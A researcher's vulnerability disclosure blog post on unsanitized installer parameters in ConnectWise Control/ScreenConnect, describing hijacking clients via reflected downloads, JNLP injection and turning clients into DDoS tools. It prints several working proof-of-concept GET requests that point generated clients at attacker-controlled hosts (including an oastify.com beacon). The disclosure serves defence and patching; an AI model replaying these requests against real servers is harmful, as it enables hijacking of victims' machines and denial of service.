I have chosen to disclose in this manner for a few reasons.
The most important and critical: This specific attack flow (spoofing / reflected download of malicious client & social engineering) leaves VERY few IOCs. The affected / poisoned client is designed to be single-use / minimally intrusive. Unless the attacker chooses to establish persistence (simple and a part of the deployment options, press button), it is difficult to understand exactly what has happened. I’ll address this in a later post.
There is also the unsavory side of the exploit / research world and one of the reasons I am very protective of my work & research: I have confirmed with various IR / Forensics contacts that this specific vulnerability is undergoing active exploitation. This activity lines up to *after* when Connectwise published their vague advisory on some of my work.
I reported some of these issues to Connectwise through their disclosure program on HackerOne. Without getting into detail here, I would not characterize the experience as positive, collaborative, or highly professional. I would certainly not elect to go through this process again with either company for various reasons. I’ll speak more to that at a future date and certainly more openly.
This post is about a serious set of vulnerabilities, not a story about disorganized / chaotic vulnerability reporting and a poorly managed disclosure processes.
Again, I am a responsible researcher and there is a lot more here to discuss. I’m going to branch out into a few other attacks with this post but I will definitely be circling back into a bunch of “you’ve never seen this before” research and attacks at depth. Stay tuned to the Insights page (Cybir.com/insights) and my speaking schedule.
How we got here…
In the last few weeks, I have provided a warning to patch instances before I disclosed because I am a firm believer in ethical & responsible disclosure. I had intended to disclose this at a conference and have a wider discussion on an entire *family* of issues at play here… but that unfortunately did not line up.
I have a pretty in-depth family of papers / exploits behind this as an entire class of problems in many application stacks… but my research keeps getting hijacked / blown by outside parties. That being said, if you’d like to go deep or you’re of the belief this is “NBD”, I would strongly advise a review of my previous work, research, and disclosures.
I am not an alarmist despite any comments to the contrary. I don’t write checks my *** can’t cash.
Modern Networking and the Cloud – No one watches the watchmen.
A core focus of my work and private research of the last few years has been the nexus of critical-and-complex-yet-trivial-to-exploit problems that have emerged from the poorly understood interaction of old & arcane networking problems that never got fixed.
Over the last few years, I have spoken at RSA, DEF CON AppSec Village, Wild West Hackin’ Fest, ShmooCon and who knows where else on various puzzle pieces without ever really showing the picture or where this was going. I was also recently a guest on the Red Siege Wednesday Offensive speaking about my recent work against the VIPRE Update Proxy and how it intersects here. (Weaknesses Found in Content Update Proxy Configuration – VIPRE Labs) While demoing my work, I stated that I have easily dozens of examples of these types of issue and I was ready to start talking.
I have kept the greater research under wraps (big stuff) for a while, occasionally publishing components and ideas through various channels. Finally, I’m ready to share.
Simply put:
Poor integration, deployment, and understanding of basic network or security concepts have created highly exploitable flaws or conditions in modern hybrid networks, cloud infrastructure, and appliance ecosystems.
Disturbingly, the problem is only getting worse. “We”, as an industry, never cleaned up our messes from yesteryear. We keep building on a poor, cracked foundation, forgetting it exists, and accumulating flaws – the Vestigial DNA of bad practices and shortcuts taken when no one really thought we’d abstract & virtualize the infrastructure.
I am going to use Connectwise Control and other functions to build concepts up here along with proving this point: These specific flaws are an example of a serious, blended, widespread problem due to fundamental misunderstanding of core networking concepts by application developers, technology integrators, and information security professionals. This is a problem that needs to be fixed, now.
All that being said… there are a lot of entry points to my work but for this disclosure, let’s start from this statement:
For something so foundational to the modern internet and cloud, one would think that DNS records, record resolution, and FQDNs should be controlled or sanitized by applications…. but they are not.
Now that we anchor execution and firewall rules on these via the cloud, we have a new generation of problems to deal with. (I spoke about some of this at DEF CON 29: DEFCON 29 IoT Village – Ken Pyle – BLUEMONDAY Series Exploitation and Mapping of Vulnerable Devices – YouTube)
Read this REAL closely*: From Host Headers and Firewall Rules to Content Security Policies and External DNS Interaction, there is a wide open attack space overly dependent on old networking protocols and design. Beyond that, one really follows or enforces the RFCs or standards anyway.. products just bypass them because it’s hard to design for the cloud. That’s where I come in.
*I have exploits & new 0-days for every one of these items and more across many, many products.
Connectwise Control & Screenconnect – A Remote Managment Interface with Unsanitized Parameters
Remote Desktop, Access & Control Software | ConnectWise Remote Control
Connectwise Screenconnect is a *very* popular tool for remote access, particularly in the MSP and corporate verticals. Billing itself as an application which allows one to “Launch secure remote connections that let you solve clients’ problems faster”, it is a core product and offering underpinning remote support, MSP/ISPs, and businesses of all sizes.
Usage of the application is fairly straightforward. There is an administrator interface, support side integration, control of multiple connections / peristence into endpoints, etc. The user of the software runs an instance of this either locally or in the cloud via the Connectwise Control service (more on that in a second.) The support person provides (emails) a link or URL & code to the user of the computer they need to assist or provide support to.
The end user (victim) requesting support clicks the link (visits the site) and dynamically downloads a remote agent installer. After installation, the software calls back home to the ScreenConnect or Control instance and allows remote access to the computer. The technician accesses the end user’s computer remotely, obtaining privileged access to the operating system in any number of contexts from the user to SYSTEM.
The problem is…. until a few weeks ago… most of the process and affected application parameters were never properly checked or sanitized. This process and its associated parameters are / were client-controlled, unauthenticated, and unsafely reflected into executables / code.
In fact, the entire process of signing up for and deploying a malicious trial instance, hijacking clients & obtaining code execution, and bypass of AV / Application Controls via this process required minimal effort and exactly $0.
Connectwise did no rigorous or in depth verification of identity or intent. If I am a social engineer / ransomware gang / malicious tech support scammer , this is AWESOME Social Engineering bait.
Even worse, IT people anchor security controls / firewall rules on DNS Zones and wildcarding these services. REALLY Think about this for a second.. and I’ll go FAR more in depth in a future disclosure… at the very least, I have obtained a valid FQDN inside of a trusted zone that is recognized by users and likely to have specific firewall rules and application exceptions already configured. (Check their KB.)
Let’s be VERY clear. I have used this in the field to bypass multiple application control / monitoring / AV products. The malicious download comes from a trusted server, “verified” by Connectwise, using a whitelisted / trusted installer bearing all of the necessary checks most companies implement.
YES… We just pulled this off that quick…. but why?
…because this request can be replayed, injected, modified, poisoned, against *any Connectwise Control or ScreenConnect Instance* and the executable / downloaded client will be directed to whatever IP or FQDN you choose.
Connectwise Control Update & Detailed Proof of Concept
Connectwise quietly pushed out an update a few weeks ago. (22.9.10032)
In the release notes, they provided a fairly vague description of the issue:
“Add additional validation of client installer URL parameters to inhibit certain social engineering attacks”
This, in my opinion, is a bit of an understatement.
TLDR Version – Proof of Concept / Socal Engineering & Reflected / Crafted Session Attack Example (Windows)
Connectwise Control / Screenconnect Server fails to sanitize multiple user controllable parameters. An attacker can manipulate multiple parameters for both server and client-side attacks resulting in multiple conditions:
Code execution & Privilege Escalation
Creation / Download of Trusted Code as Connectwise
Persistent / Temporary Hijacking of Sessions
Social Engineering / Open Redirect / Control of Victim Machines
Of particular interest to my work and published cyberwarfare & tactics research:
Distributed Denial of Service (DDoS) & Botnet creation
Traffic Amplification
Remote Control of Connectwise Control Clients via Sideband Attacks & Network Based Attacks
PoC Code for UNAUTHENTICATED MALICIOUS DOWNLOAD / HIJACKING / POISONING OF CONNECTWISE CONTROL CLIENT
Yes, I know some of this is encoded and you can do stuff with it. (Don’t overcomplicate things it’s PoC Code.) This is a request I replayed repeatedly & it’s a watermark. This snippet was copied from a legit request to my rogue server and reflected via a victim server.
Using this example, the attacker crafts a unique link which is sent to a victim:
https://TARGETSERVER
GET /Bin/ConnectWiseControl.Client.exe?h=instance-XXXXX-relay.screenconnect.com&p=443&k=BgIAAACkAABSU0ExAAgAAAEAAQCtA9sx5dvtphjmUO%2BzIlYa60Dhs5TOZ3HFCD0R2Cxe2sIWCQJXFq32z%2BXV4lzBh8%2FbAntXARDFGc8Hm4elzIzONbpSUHhxJcmvXXdnD2emfJs%2Bc9PohE2Zv7XbKSyH3sBapId2QQicX6WebE2zwHHaoovYymxpneQz0L%2B39BEte5vRNHVxe7miPilclsaXg%2BPTO%2BXSdbkFm7mutvioB8CztYuxZK7X0IUgYBNwNUFCwVjXKKiulcdPeXiWB%2F4piVRvFJg770Qa5zVDLGR%2FDi6wFAUP1bUtiOZCUGrSD50hGpk2kG%2B%2BNsdHJTRbA5wjKibdbja%2F%2B9Nn5zDcy%2Fq%2FK2LB&s=5a2fa3c9-c98c-4eaf-955c-72379dd2992f&i=CYBIRPOC&e=Support&y=Guest&r=
The targeted, vulnerable Connectwise Connect server fails to validate these settings. Given ANY SC server, this poisoned parameter (H) can be tampered with and reflected, generating a signed, trusted executable via unauthenticated server request. This allows for FULL BYPASS AND SPOOFING OF A TRUSTED EXECUTABLE.
In other words, this bypasses access controls and application controls or whitelisting typically deployed in enterprise environments.
PoC || GTFO Screenshot – Windows Client Hijacked through Reflected, Unsanitized, Attacker Controlled Parameters
Detailed Attack Flow and Exploitation – An Alarmingly Simple and Fast Attack
What I found pretty alarming about this process is that signing up for an instance to hijack with was incredibly easy and required little to no identification or checking. I signed up for a trial instance, complete with a CUSTOM FQDN, in a matter of minutes. I named my instance CYBIR:
From here, I have a control panel, server in the cloud, etc. An on-premise instance or one integrated into other products (MSP) operates on the same principle: the app provides a dynamic client and hosted server that connects these two agents together / provides temporary or persistent remote access to endpoints.
Remember, the dynamic windows client is generated based on *client controllable parameters* and these are unsafely integrated into trusted code via unauthenticated download. This also runs as SYSTEM and/or in the context for the victim. (READ THAT AGAIN.) So, let’s go back and regenerate a client request from my cloud instance. We will capture the generating parameters, including the FQDN, encoded data, port, etc.
What happens if I use these parameters to reflect the request off of a different Connectwise server? Maybe… YOUR CONNECTWISE CONTROL SERVER?
The download is created, reflected, and served by the vulnerable instance…. but it’s directing the client to MY CONNECTWISE CONTROL SERVER!
Yes, I have just hijacked your (or any) client through YOUR Connectwise instance. I can send this link to a victim, they will click this link, their workstation will connect back to my instance via a link on your site.
Now, if you’re familiar with these types of applications (dynamically generated download – cloud or on-prem CnC, etc) you have probably not thought much about how this process works or how the “cloud” handles this. The answer is… it handles just like everything else:
There is no such thing as the cloud, it’s just another person’s computer. The computer has an IP address or FQDN and operates like any other network based application. Essentially, all an attacker needs to do to hijack Connectwise Control and ScreenConnect clients is mess with DNS, FQDNs, and/or client supplied, reflected parameters. It really is that simple & exploitable… right now… in the wild without requiring a deep technical treatise on IPv4&6, DNS RFCs, or firewall rules.
This is an incredibly powerful, useful, and highly exploitable attack vector.
Interlude and Putting the Matrix Back Together – You Still There?
If you’re still with me (and why would you be), you’re probably thinking:
“OK… you said Multi-OS and this is a Windows Client. Are you planning on rewriting this file, genius?”
The answer is a resounding, “NO, I told you I was on this for years… let’s *finally* start putting some interesting puzzle pieces together.” This specific piece dates back a good number of years… but for now, let’s keep it to 2019-2021 and work I *have* made public….
I have known for a very long time that I’d need about 30-40 examples of my work.. and then *maybe* the field would recognize it. I have also known I’d need a simple, clean, widely used file format & executable that broke this problem down into small parts. The primary reason I started at the end of this complex set of issues (JNLP) is because it fit the bill so nicely*.
Thus… the previous, encoded windows executable client example should be thought of as an attention grabber that doesn’t quite make sense yet. It defintely works.. but there isn’t a really clear explanation why.
That was flying.. now let me show you how to walk.
*Note to aspiring hackers and researchers: Always play the long game. Protect your work. Use canary traps and watermarks.
JNLP Injection and Jumping into Code Injection Attacks via DNS & Layer 2 / 3 – I’m not kidding when I say, “no one understands how a network works.”
Java Network Launch Protocol (The Java™ Tutorials > Deployment > Deployment In-Depth) (oracle.com)
Java Network Launch Protocol (JNLP) as described by Oracle, “enables an application to be launched on a client desktop by using resources that are hosted on a remote web server. Java Plug-in software and Java Web Start software are considered JNLP clients because they can launch remotely hosted applets and applications on a client desktop.”
Connectwise Control & ScreenConnect provide support for OTHER OPERATING SYSTEMS through JNLP & Java.
So….. What is JNLP and why is it a fantastic teaching model for an entire generation of poorly designed cloud / client software?
JNLP is a plaintext, XML based file format. The code tampering and injection are human readable (XML format) via any text editor or browser. You can check this yourself without any special exploit software or knowledge.
JNLP lacks complex encoding (like that windows example) and is exploitable /executable on any platform supporting Java & JNLP launchers. Phones… and tablets… and non-windows OS’s – MAXIMIUM COVERAGE for my purposes: mass code execution.
Many HTML / HTTP vulnerabilities and exposures can be directly or conceptually recreated in XML & HTTP based APIs.
Finally, JNLP Injection Attacks & Network Exploitation as an attack vector also happen to be something I am an industry acknowledged expert on. My exploit research is well founded and widely recognized.
Update Niagara to Address JNLP/Web Start Vulnerability (SB 2021-Tridium-1)
Let’s start walking.
TLDR Version – Proof of Concept / Attack Example (Java & Multi-OS) – JNLP Injection Attacks and Client-Side Code Execution
VERY similarly (in fact, almost exactly.. just change the requested extension EXE -> JNLP) to my previous Windows example, Connectwise Control / ScreenConnect Server fails to sanitize multiple user controllable parameters when generating JNLP files. An attacker can manipulate multiple parameters for both server and client-side attacks resulting in multiple conditions including client side code execution in Java through JNLP Injection and DNS hijacking, Poisoning, OR CLIENT-SIDE PARAMETER INJECTION.
(Really, I called my shots on this years ago. Give it a read. https://cybir.com/wp-content/uploads/2021/06/JNLP-Injection-and-Attacks-Release.pdf)
Here is a POC request, stripped down … and also a potential CSRF:
GET /Bin/ConnectwiseControl.Client.jnlp?h=CYBIRPOC-HIJACKED-MULTIOS&p=31337&i=CYBIRPOC&e=Support&y=Guest&r=%27 HTTP/2
Host: CYBIRPOC-INJECTED-JNLP.CYBIRPOC.COM
Now, instead of all that unreadable, compiled, and encoded data inside the windows executable… we get a much more human readable format. The response, as you’d expect, is exactly what I want to see for my work. A plaintext. XML based, conceptual Rosetta stone:
Control / Screenconnect produces JNLP files for non-Windows hosts based on attacker controlled parameters. The parameters shown above are attacker controllable and can be poisoned & reflected via unsantized parameters and unauthenticated request. This unsanitized parameter injection triggers Java invocation & execution with just a little refinement.
*I* control the JNLP codebase tag, I have successfully injected arbitrary code & parameters. Using the PoC requests here, *you* can now replay any of the above attacks using a Java / *ix / platform of your choosing.
With just a little alteration, we have triggered JNLP injection and persistent client-side Java RCE via simple dynamic clients, poorly sanitized parameters, and a minimal understanding of basic TCP/IP networking.
REMEMBER! This is designed to work this was BY CONNECTWISE to ensure non-windows endpoints can be supported and accessed. This is client and application are built for maximum compatibility and persistent remote access! I have an operating system independent exploitable environment with well-established legacy support. Sounds like a great cyberweapon and capability to me.
Ensure CW Control’s Java WebStart (JWS / JNLP) Client(s) work … / Feature Request Portal / ConnectWise Control
Advanced join session dialog options – ConnectWise
Capability Development: Building a DDoS / CnC Botnet From Spare or Junk Parts – Abusing Connectwise Control (… and a lot of other software.)
Researchers & hackers always find their niche interests of interest and attack. We find some esoteric group of academic problems or ideas take them as far as we can into new territory. I am no different; one of the areas I am well known for is cyberwarfare / applied research & new attacks.
In other words, I like making things go boom. I think of new ways to make things go boom. I am *very* good at making things go boom in ways no one ever thought of.
…and while Connectwise has a specific critical problem in my opinion, it doesn’t really tell the whole story or address the industry wide problem. This is a nasty social engineering problem, yes… but restricting or sanitiizing the H parameter at this level is “we fixed the glitch.”
Why? The FQDN / h parameter is not the sole client controllable parameter here. In fact, other parameters like the port are also attacker controllable and arbitrary.
This application (and many others just like it) exist both in the cloud and on-prem. This application is designed to be deployed all over with alternate ports, firewall rules, PAT / NAT configurations. There are multiple instances hosted on single servers, server farms, behind WAFs, you name it. The executable is dynamically created, distributed, deployed to thousands of endpoints a day. This application is trying to fit a lot of different use cases and deployments.
The application designer probably doesn’t understand TCP/IP protocols in a practical security sense. This flexibility and design is0 a flawed concept baked into an endless number of cloud & client-side application pairings.
This is not a new concept:
To prove this idea in a more weaponized form, why not create a different kind of executable from this process? Through abuse of this process, an attacker can create client that repeatedly sends a volume of requests to an arbitrary (victim) IP / port based on an injected parameter… A malicious DDoS platform that disappears on reboot.
In the next section, I will quickly create a disposable, simple, low-footprint, DDoS client / attack tool that requires no special knowledge to create and leaves a minimal forensic footprint. This client can also be used to take full control of a victim machine, if needed… through simple tricks like changing an external A record and catching clients when the TTL expires on a cached record.
Preview PoC – UNAUTHENTICATED Arbitrary Build of Malware / Botnet / DDoS client via Connectwise Control
In this PoC snippet, I have provided an arbitrary port (31337) and the downloaded windows executable will send traffic to an arbitrary IP address or FQDN. This is a repeated beacon / volume of traffic sent to my victim’s IP address. When downloaded, the file executes and begins the process of the trying to connect “home” to the specified Connectwise instance, right?
/Bin/ConnectWiseControl.Client.exe?h=jxkn2o1wlzs01gujqlkkz3qvamgc41.oastify.com&p=31337&k=BgIAAACkAABSU0ExAAgAAAEAAQCtA9sx5dvtphjmUO%2BzIlYa60Dhs5TOZ3HFCD0R2Cxe2sIWCQJXFq32z%2BXV4lzBh8%2FbAntXARDFGc8Hm4elzIzONbpSUHhxJcmvXXdnD2emfJs%2Bc9PohE2Zv7XbKSyH3sBapId2QQicX6WebE2zwHHaoovYymxpneQz0L%2B39BEte5vRNHVxe7miPilclsaXg%2BPTO%2BXSdbkFm7mutvioB8CztYuxZK7X0IUgYBNwNUFCwVjXKKiulcdPeXiWB%2F4piVRvFJg770Qa5zVDLGR%2FDi6wFAUP1bUtiOZCUGrSD50hGpk2kG%2B%2BNsdHJTRbA5wjKibdbja%2F%2B9Nn5zDcy%2Fq%2FK2LB&s=5a2fa3c9-c98c-4eaf-955c-72379dd2992f&i=CYBIRPOC&e=Support&y=Guest&r=
Sure, if this is process and request are legitimate.. but they are NOT. The attacker builds a malicious DDoS tool / basic port scanner / etc. via unsanitized parameters. The vulnerable target server fails to validate attacker supplied input or parameters. The victim machine receives a trusted installer from a trusted server with a prompt indicating this is from Connectwise.
The running application is now generating repeated / volumetric traffic at an interval I control and sending it to my DoS victim’s IP or FQDN. The client is running, waiting, sending this traffic to an arbitrary target and port of my choosing. This process is arbitrary, requires no special access or authentication, and malicious traffic (volumetric requests) are sent via an otherwise uncompromised host.
This does not require a special session, rights, or interaction by the server application’s owner or maintainer.
Did I mention this is amplifying requests too? Here is a Burp Collaborator beacon demonstrating what this looks like on the server end (DNS record resolution):
Stay tuned. I’m going to show some slick “living off the land”, how to turn this into a simple port scanner, firewall rule enumeration, and data exfiltration mechanism in… Imposition of Cost – Availablility & Integrity Attacks through Unsanitized Parameters in Web Applications
Next: A firewall bypassing data exfiltration, C2 & DDoS platform hiding in plain sight via Dynamically Generated Executables, SSRF, FQDNs, and more!
P.S. You may want to give this old exploit a look too… PoC or GTFO.